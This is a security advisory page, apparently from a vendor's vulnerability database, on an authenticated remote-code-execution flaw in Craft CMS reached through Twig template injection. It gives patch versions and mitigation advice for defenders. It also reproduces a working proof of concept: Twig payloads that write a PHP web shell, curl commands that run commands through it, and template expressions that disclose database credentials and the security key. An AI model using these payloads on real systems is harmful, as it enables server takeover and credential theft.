GHSA-v47q-jxvr-p68x — craftcms/cms
Fix: craftcms/cms#18216GHSA-v47q-jxvr-p68x is a CWE-1336 vulnerability in craftcms/cms. A fix is available for craftcms/cms — see the affected versions and patch details below.
Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v47q-jxvr-p68x.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
craftcms/cms🐘craftcms/cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChangesenabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages) - Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation.
{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} - Note: Replace the filesystem handle (e.g.,
- To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation.
{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} - Note: Replace the volume handle (e.g.,
- To exploit it by writing to a file system:
- Save & go to Settings → Email (
/admin/settings/email) - Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
<img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" /># For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}
Recommended Fix
- Add Twig sandbox rules to block
write,writeFileFromStream,deleteFile, and similar destructive methods - Consider allowlist approach for
craft.appproperties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/cms | ≥ 5.0.0-RC1&&< 5.9.0-beta.1 | 5.9.0-beta.1composer require craftcms/cms:^5.9.0-beta.1 |
| 🐘Packagist | craftcms/cms | ≥ 4.0.0-RC1&&< 4.17.0-beta.1 | 4.17.0-beta.1composer require craftcms/cms:^4.17.0-beta.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/cms to 5.9.0-beta.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v47q-jxvr-p68x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-v47q-jxvr-p68x can be triaged on real exposure rather than presence alone.
Tailored to GHSA-v47q-jxvr-p68x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v47q-jxvr-p68x in your dependencies?
O3 Security finds GHSA-v47q-jxvr-p68x across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.